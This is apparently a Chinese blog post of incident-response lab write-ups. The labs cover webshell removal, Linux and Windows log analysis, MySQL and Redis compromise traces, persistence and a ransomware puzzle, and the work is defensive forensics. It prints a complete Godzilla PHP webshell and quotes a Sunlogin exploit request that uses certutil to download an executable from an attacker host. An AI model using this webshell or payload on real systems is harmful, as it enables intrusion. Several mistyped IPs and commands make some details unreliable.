第一章 应急响应-webshell查杀
1.黑客webshell里面的flag flag{xxxxx-xxxx-xxxx-xxxx-xxxx}
到web的目录文件var/www/html中查找
我是用finalshell连接的,直接把html文件下载下来了
将下载下来的整个文件放到杀毒软件中进行分析就可以找到webshell后门
这边展示的是火绒

三个文件

两个后门,.Mysali.php是隐藏文件,同时也是gz.php的备份,两个都是webshell,第三个是一句话木马
flag{027ccd04-5065-48b6-a32d-77c704a5e26d}
2.黑客使用的什么工具的shell github地址的md5 flag{md5}
<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
for($i=0;$i<strlen($D);$i++) {
$c = $K[$i+1&15];
$D[$i] = $D[$i]^$c;
}
return $D;
}
//027ccd04-5065-48b6-a32d-77c704a5e26d
$payloadName='payload';
$key='3c6e0b8a9c15224a';
$data=file_get_contents("php://input");
if ($data!==false){
$data=encode($data,$key);
if (isset($_SESSION[$payloadName])){
$payload=encode($_SESSION[$payloadName],$key);
if (strpos($payload,"getBasicsInfo")===false){
$payload=encode($payload,$key);
}
eval($payload);
echo encode(@run($data),$key);
}else{
if (strpos($data,"getBasicsInfo")!==false){
$_SESSION[$payloadName]=encode($data,$key);
}
}
}
通过key='3c6e0b8a9c15224a'可以判断是哥斯拉
下载地址:https://github.com/BeichenDream/Godzilla
flag{39392de3218c333f794befef07ac9257}
3.黑客隐藏shell的完整路径的md5 flag{md5} 注 : /xxx/xxx/xxx/xxx/xxx.xxx
第一题中写了/var/www/html/include/Db.Mysali.php
flag{aebac0e58cd6c5fad1695ee4d1ac1919}
4.黑客免杀马完整路径 md5 flag{md5}
翻看apache的日志文件
var/log/apache2/access.log
发现对文件top.php多次调用,打开看是字符串拼接的免杀,使高危函数被隐藏
md5('/var/www/html/wap/top.php')
flag{eeff2eabfd9b7a6d26fc1a53d3f7d1de}
第一章 应急响应-Linux日志分析
账号root密码linuxrz
需要分析Linux日志目录,/var/log

1.有多少IP在爆破主机ssh的root帐号,如果有多个使用","分割
关于使用ssh服务爆破用户的IP需要查看auth文件,这里有两个auth.log.1和auth.log
需要查看的登陆错误的就行
使用正则表达式
cat auth.log.1|grep -a "Failed password for root"

也可以更优化
cat auth.log.1 | grep -a "Failed password for root" |awk '{print $11}' |uniq -c

awk '{print $11}' :awk是一种文本处理工具,这里的命令表示提取每一行的第11列内容。对于auth.log文件中的“Failed password for root”记录,第11列通常是IP地址
uniq -c:uniq命令用于过滤掉排序列表中的重复行,而-c选项则用于统计每个IP地址出现的次数
这在IP比较多的时候适用
2.ssh爆破成功登陆的IP是多少,如果有多个使用","分割
使用正则表达式
cat auth.log.1|grep -a "Accepted"
显示成功登陆的用户

同样可以优化
cat auth.log.1 | grep -a "Accept" | awk '{print $11}' | uniq.c
3.爆破用户名字典是什么?如果有多个使用","分割
要看爆破字典,就要对登陆失败的记录进行搜索,匹配到for和from之间的值就是用户名
cat auth.log.1|grep -a 'Failed password'| grep -o 'for .* from'|sort -nr|uniq -c
sort -nr:这个命令对统计结果按照次数从大到小(-n表示按数字排序,-r表示反向排序)排序。这样就可以看到哪个IP地址尝试失败的次数最多。

4.登陆成功的IP共爆破了多少次
前面已经做出来了

5.黑客登陆主机后新建了一个后门用户,用户名是多少
查找新用户"new user"

用户名为"test2"
flag{test2}
第一章-应急响应-Linux 入侵排查
1.web目录存在木马,请找到木马的密码提交
将/var/www/html下载下来
放到火绒中进行分析

翻开来都看了一下,发现一句话木马1.php就是所谓的木马
1就是密码,所以
flag{1}

2.服务器疑似存在不死马,请找到不死马的密码提交
对前面找到的木马都进行审计
.shell.php也是一句话木马

index.php是生成.shell.php的代码,所以.shell.php实际上就是下一题的不死马

密码就是md5(5d41402abc4b2a76b9719d911017c592)
flag{hello}
3.不死马是通过哪个文件生成的,请提交文件名
由上题可知是index.php
flag{index.php}
4.黑客留下了木马文件,请找出黑客的服务器ip提交
即shell(1).elf可执行文件
运行之后查看网络连接信息
chmod 777 'shell(1).elf'#提权,确保有权限运行
./shell(1).elf#运行
在重新打开一个终端,查看网络信息(使该程序保持运行状态)
netstat -antlp|more
#netstat -antlp | more 命令会列出系统上所有的 TCP 连接,包括监听端口,显示出每个连接的 IP 地址、端口号、状态、PID 和程序名。由于使用了 more,输出会分页显示,用户可以按空格键继续查看下一页内容

flag{10.11.55.21}
5.黑客留下了木马文件,请找出黑客服务器开启的监端口提交
由上题
flag{3333}
第二章日志分析-apache日志分析
1、提交当天访问次数最多的IP,即黑客IP
到apache的日志文件下,/var/log/apache2找到access.log.1里面是IP信息
使用语句
cut -d- -f 1 access.log.1 | uniq -c | sort -rn | head -1![]()
2、黑客使用的浏览器指纹是什么,提交指纹的md5
直接打开access.log.1文件可以看到
或者使用语句看192.268.200.2的数据
cat access.log.1 |grep "192.168.200.2"
3、查看index.php页面被访问的次数,提交次数
grep "/index.php" access.log.1 |wc -l
4、查看黑客IP访问了多少次,提交次数
grep -w "192.168.200.2" access.log.1 | wc -l
5、查看2023年8月03日8时这一个小时内有多少IP访问,提交次数
cat access.log.1 | grep "03/Aug/2023:08:" | awk '{print $1}' | sort -nr| uniq -c
第二章日志分析-mysql应急响应
1.黑客第一次写入的shell flag{关键字符串}
查看var/www/html目录下的php文件
既然是shell那可以直接搜eval函数
find ./ -name "*.php" | xargs grep -a "eval("

所以flag显然
2.黑客反弹shell的ip flag{ip}
需要查看mysql的错误登录日志,路径:var/log/mysql

查看文件error.log文件

看到1.sh文件

查到IP
3.黑客提权文件的完整路径 md5 flag{md5} 注 /xxx/xxx/xxx/xxx/xxx.xx
mysql的提权方式有以下四种
- UDF 提权
- MOF 提权
- 启动项提权
- CVE-2016-6663
基于目前的环境我们可以排除 MOF 提权(Windows 下可利用),启动项提权(Windows 下可利用),而 CVE-2016-6663 需要 MariaDB <= 5.5.51 或 10.0.x <= 10.0.27 或 10.1.x <= 10.1.17,而我们环境的 MariaDB 版本为 5.5.64,不在此漏洞的影响版本内,也可以排除掉
![]()
所以只需要检查UDF类提权
UDF提权原理:攻击者通过编写调用cmd或者shell的共享库文件(window为.dll,linux为.so),并且导入到一个指定的文件夹目录下,创建一个指向共享库文件的自定义函数,从而在数据库中的查询就等价于在cmd或者shell中执行命令
UDF会上传一个so文件到/usr/ lib/mysql/plugin文件夹中

所以文件路径即/usr/lib/mysql/plugin/udf.so
flag{/usr/lib/mysql/plugin/udf.so}
看到有一个common.php文件是mysql的配置文件,查看

4.黑客获取的权限 flag{whoami后的值}
查看数据库中的用户权限
先登录mysql
mysql -uroot -p334cc35b3c704593

查看新增函数 select * from mysql.func;

有一个sys_eval()函数
select sys_eval('whoami');

可见权限是mysql
也可以直接在plugin文件夹下查看ps -aux可以看到该文件执行后的权限
第二章日志分析-redis应急响应
1.通过本地 PC SSH到服务器并且分析黑客攻击成功的 IP 为多少,将黑客 IP 作为 FLAG 提交;
分析redis日志,所在文件是/var/log/redis.log

看到很多192.168.100.13,但都是error的,所以不是成功登录

再往下翻可以看到192.168.100.20是成功的,所以flag就是192.168.100.20

2.通过本地 PC SSH到服务器并且分析黑客第一次上传的恶意文件,将黑客上传的恶意文件里面的 FLAG 提交;
上面的日志文件里可以看到上传了一个./exp.so的文件,下载下来看看
我用finals hell可以直接翻16进制,如果别的连接可以再用16进制分析工具进行分析

3. 通过本地 PC SSH到服务器并且分析黑客反弹 shell 的IP 为多少,将反弹 shell 的IP 作为 FLAG 提交;
redis数据库的提权就四种方法
- 写密钥ssh
- 计划任务
- 反弹shell
- CVE-2022-0543 沙盒绕过命令执行 (集成在template当中)
先看看公钥有没有写
/root/.ssh/authorized_keys
确实写了

crontab -l查看定时任务

可以看到反弹的IP是192.168.100.13
4.通过本地 PC SSH到服务器并且溯源分析黑客的用户名,并且找到黑客使用的工具里的关键字符串(flag{黑客的用户-关键字符串} 注关键字符串 xxx-xxx-xxx)。将用户名和关键字符串作为 FLAG提交
上面的公钥里有用户名,即xj-test-user
然后要用改用户名去GitHub上找到后一半flag
flag{xj-test-user-wow-you-find-flag}
5.通过本地 PC SSH到服务器并且分析黑客篡改的命令,将黑客篡改的命令里面的关键字符串作为 FLAG 提交;
Linux命令一般都是可执行的二进制文件
存放的位置是 /bin、/sbin、/usr/bin、/usr/sbin这类文件夹中,只需要找到bin目录然后将文件修改时间从新往后排基本就可以找到最新添加的命令了
在/usr/bin目录中可以看到ps命令是最新的,打开看到了flag


第三章 权限维持-linux权限维持-隐藏
1.黑客隐藏的隐藏的文件 完整路径md5
find / -type f -name ".*" 2>/dev/null查看隐藏目录
可疑目录/.temp

打开后发现有2个python文件
1.py

shell.py

flag{md5( /tmp/.temp/libprocesshider/1.py)}
2.黑客隐藏的文件反弹shell的ip+端口 {ip:port}
在1.py中可以看到是114.114.114.121:9999
3.黑客提权所用的命令 完整路径的md5 flag{md5}
查找所有有SUID权限的文件
find / -type f -perm -u=s 2>/dev/null
#-type f 指搜索普通文件
-perm指搜索权限设置
-u=s指SUID权限,也可以表示为-4000

查看/usr/bin/find文件的详细信息
ls -l /usr/bin/find
![]()
4.黑客尝试注入恶意代码的工具完整路径md5
看到之前隐藏的文件中

cymoyhoa为后门注入工具
路径 /opt/.cymothoa-1-beta/cymothoa
5.使用命令运行 ./x.xx 执行该文件 将查询的 Exec****** 值 作为flag提交 flag{/xxx/xxx/xxx}
不太理解题目的意思
答案是1.py的python路径
flag{/usr/bin/python3.4}
第四章 windows实战-emlog
1.通过本地 PC RDP到服务器并且找到黑客植入 shell,将黑客植入 shell 的密码 作为 FLAG 提交;
是用phpstudy搭建的网站,到把整个www文件夹导出
使用D盾扫出后门文件shell.php

打开该文件就可以看到密码

2.通过本地 PC RDP到服务器并且分析黑客攻击成功的 IP 为多少,将黑客 IP 作为 FLAG 提交;
IP信息要看网站的日志信息,通过phpstudy找到网站文件的位置

查看access最大的那个文件,看看shell.php后门连接到哪个IP
192.168.126.1

3.通过本地 PC RDP到服务器并且分析黑客的隐藏账户名称,将黑客隐藏账户名称作为 FLAG 提交;
直接看Windows的用户就能看到隐藏用户就是hacker138
4.通过本地 PC RDP到服务器并且分析黑客的挖矿程序的矿池域名,将黑客挖矿程序的矿池域名称作为(仅域名)FLAG 提交;
找到该用户的文件,在桌面上找到一个挖矿的程序Kuang.exe

exe逆向是我的特长,当时的想法就是直接导到本地在使用pyinstxtractor得到pyc文件最后反编译pyc文件就可以得到python源码

但是pyc反编译的时候不知道哪里出了点问题没得到源码,好在直接用16进制工具就可以看到url

第四章-windows日志分析
1.审计桌面的logs日志,定位所有扫描IP,并提交扫描次数
将日志文件导出后放入excel进行查找
192.168.150.33和192.168.150.67



也可以把文件复制到linux里使用命令行
cut -d- -f 1 access.log | uniq -c | sort -rn

一共是6385条
2.审计相关日志,提交rdp被爆破失败次数
关于rdp爆破即远程桌面连接
登陆失败的事件id为4625,到事件查看器中去筛选
打开终端eventvwr.msc
Windows日志>安全>筛选当前日志>事件ID为4625进行筛选

可以看到失败的次数为2594次
3.审计相关日志,提交成功登录rdp的远程IP地址,多个以&连接,以从小到大顺序排序提交
登陆成功的ID为4624,与上面同理进行筛选,一共203条

双击可以查看详细信息里的IP

其他几个也同理进行查看,最后找到的是
192.168.150.1&192.168.150.128&192.168.150.178
4.提交黑客创建的隐藏账号
筛选ID为4720,可以看到隐藏账号为hacker$
- 事件 ID 4720 的日志内容包含了以下重要信息:
- 创建的用户账户名。
- 创建账户的时间。
- 触发创建操作的来源(例如通过远程桌面或本地创建)。
- 创建账户的用户权限。

5.提交黑客创建的影子账号
其实在上一题中可以看到影子账号的信息
这里提供另一个方法,在终端输入lusrmgr.msc
lusrmgr.msc 的具体用途:
查看和管理本地用户:你可以查看系统中所有现有的本地用户账户,包括标准用户、管理员账户等。
查看和管理本地组:你可以查看和修改本地组,并管理哪些用户属于特定的组,比如 Administrators、Users 等。
修改用户账户:你可以启用/禁用用户、重置密码、更改权限。
可以看到隐藏账号和影子账号
6.提交远程shell程序的连接IP+端口,以IP:port方式提交
需要找到shell程序,win+r 输入 msconfig 查看启动项
xiaowei.exe为可以程序

也可以在搜索“计划任务”也可以找到自启动的shell程序
也可以找注册表
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
通过路径找到程序下载下来放到沙箱里分析即可得到IP
flag{185.117.118.21:4444}
7.黑客植入了一个远程shell,审计相关进程和自启动项提交该程序名字
这个前一题就可以看出是xiaowei.exe了
8.黑客使用了计划任务来定时执行某shell程序,提交此程序名字
前面计划任务中打开就可以看到启动xiaowei.exe的是download.bat


第四章 windows实战-向日葵
1.通过本地 PC RDP到服务器并且找到黑客首次攻击成功的时间为 为多少,将黑客首次攻击成功的时间为 作为 FLAG 提交(2028-03-26 08:11:25.123)
既然是向日葵的题那肯定是翻向日葵的日志文件
在最大的那个日志文件里找到了一些攻击的手段
既然是攻击成功,想必会有一些常规的操作,比如whoami,pwd之类的,直接定位到一条,往前翻了翻看都是没有攻击成功的日志信息,所以这就是第一条。

2.通过本地 PC RDP到服务器并且找到黑客攻击的 IP 为多少,将黑客攻击 IP 作为 FLAG 提交;
上一题里connect后面的就是攻击者的IP
flag{192.168.31.45}
3.通过本地 PC RDP到服务器并且找到黑客托管恶意程序 IP 为,将黑客托管恶意程序 IP 作为 FLAG 提交;
往前翻找到这样一条数据
2024-03-26 10:31:07.576 - Info - [Acceptor][HTTP] new RC HTTP connection 192.168.31.45:49329,/check?cmd=ping..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwindows%2Fsystem32%2FWindowsPowerShell%2Fv1.0%2Fpowershell.exe+certutil+-urlcache+-split+-f+http%3A%2F%2F192.168.31.249%2Fmain.exe, plugin:check, session:sobGzXzWBfSlSbdqnmkUbJMLEjhssRx1
由此得到恶意程序IP为912.168.31.249
4.找到黑客解密 DEC 文件,将黑客DEC 文件的 md5 作为 FLAG 提交;
在C:/Windwos/System32下有一个qq.txt,是一个QQ群647224830,加进去下载群文件
然后计算md5值即可
flag{5ad8d202f80202f6d31e077fc9b0fc6b}
题目出得跟CTF和取证有点像
5.通过本地 PC RDP到服务器并且解密黑客勒索软件,将桌面加密文件中关键信息作为 FLAG 提交;
桌面上有两个文件
baoleiji.txt.banana
N2xTZ2Bsn2Y5lve7KZ36bgsFjqncBs55VO0zkeEIr5Iga/kbegA0BAstotBWnZ16+trNfkzl3apUobodMkC8covEo22p+kWAyVjMRyJ98EQ4Pspr/Y5HIuH0xuvPa82j7b0AMJHkyd2viuymI/mrxjJk2X0xlEE4YVioMLd22+w=
Your files have been encrypted
0sWK8adKSGh1Xaxo6n1mZFoyNDYVokXwkBhxnzxU+MEJIV44u48SdOiFzWLn849hObaP6z26lLtMnXaDUnAPuMh+nF2hw9RoAsur7KYxE8/iY/y4jOEBsHT5wvQldcNfntrDyMUCvrWTUHl2yapUmaIIf2rZsNsqMVJ9puZzp58+FJmulyC7R1C2yoP1jHhsdOkU7htbzUWWsm2ybL+eVpXTFC+i6nuEBoAYhv2kjSgL8qKBFsLKmKQSn/ILRPaRYDFP/srEQzF7Y4yZa4cotpFTdGUVU547Eib/EaNuhTyzgOGKjXl2UYxHM/v0c3lgjO7GDA9eF3a/BBXPAgtK126lUfoGK7iSAhduRt5sRP4
=
desktop.ini.banana
onEDpnamFbekYxixEQ30W6ZcEXjCUrKHP+APxzuJQZD8bS+4V5Tu+7XmxT24EuNSfoGnda+obAmy2d1E2WT/0MmT4VHNIUyX15JuOcd477c7Zj5v3qtzoJk8Rmtub9RL0vDDjwYKPzyS4wxSyqhRfggenLiSFxhrY32nnf42W30=
Your files have been encrypted
X6cNmnKCuxdTl+f5XLhmYY4oFovJGebCmpP94be/VVqNQe0cLJm3RtX84MO98b8fI0zY50xC4OjK5aHOz2zFxCvxHygFR+rIgL0XC2rruzCAukTLJqjjbNRH06alTMMdrxhRVdrC73PMBQBweyProof4ZYNZ4YHnZrej6Vq/Ipr2xeUqamHkysjFPNqA8DVDuXYYlTUuDzZdPZpWM3IDbUDMNi4ilrPEe47IXAxd8nrqTHgX+3X7YiOjuayqK8li2c2xMXoXuSce+rAeNsWHv9SUEqUTP+MJHll7MGYLZSvYpkCVacP3joKJoI/bfoVRX8FlCuCMkicFnTawY0ZxKiX7f+0Wv+KYP0st5SYjWhMWklNSEEG7TH24wZeCANjf
得到两对RSA加密的密钥和密文,解密得到
@suanve
时间是连续的,年份只是人类虚构出来用于统计的单位,2024年第一天和2023年最后一天,
不会有任何本质区别。你的花呗,你的客户,你的体检报告,窗外的寒风,都不会因为这是新的一年,
而停下对你的毒打。
GIVE YOU FLAG!!!!!
flag{EDISEC_15c2e33e-b93f-452c-9523-bbb9e2090cd1}
desktop.ini.banana
[]
LocalizedResourceName=@%SystemRoot%\system32\shell32.dll,-21769
IconResource=%SystemRoot%\system32\imageres.dll,-183
flag{EDISEC_15c2e33e-b93f-452c-9523-bbb9e2090cd1}
第四章 windows实战-wordpress
1.请提交攻击者攻击成功的第一时间,格式:flag{YY:MM:DD hh:mm:ss}
下载了phpstudy,查看网站日志文件,主要是nginx框架的,翻阅其log日志
翻到这个前面一直在GET,这边开始POST了,显然是入侵成功了

2.请提交攻击者的浏览器版本 flag{Firgfox/2200}
入侵成功之后就可以看到攻击者的浏览器版本了

3.请提交攻击者目录扫描所使用的工具名称
那就要看连接成功前的日志信息
显然是Fuzz Faster U Fool

4.找到攻击者写入的恶意后门文件,提交文件名(完整路径)
后门一定是写在网页文件内的,把www文件放进杀毒软件进行分析,这边用的是D盾

.x.php为一句话木马,即题目所说的后门文件
5.找到攻击者隐藏在正常web应用代码中的恶意代码,提交该文件名(完整路径)
前一题扫到的另一个文件,为网页应用代码,打开后看到中间夹杂着一句木马

完整路径看D盾的截图
6.请指出可疑进程采用的自动启动的方式,启动的脚本的名字 flag{1.exe}
刚开始以为是要找开机自启动项,还去看了msconfig和计划任务,后来发现理解错了,找的是启动exe文件的程序,类似启动Burpsuite的薄荷程序。
凭经验翻阅了temp和Windows目录,最终在windows目录下确定了可疑程序为360.exe,对其进行检测之后确实是木马程序

那么启动他的肯定是同级目录下的某个启动程序,往下翻了翻看到一个x.bat

尝试之后确实可以(看其代码也可以看出)

&spm=1001.2101.3001.5002&articleId=144203301&d=1&t=3&u=c0cce17b84b24758a12538a3c43dfbb1)
1万+

被折叠的 条评论
为什么被折叠?



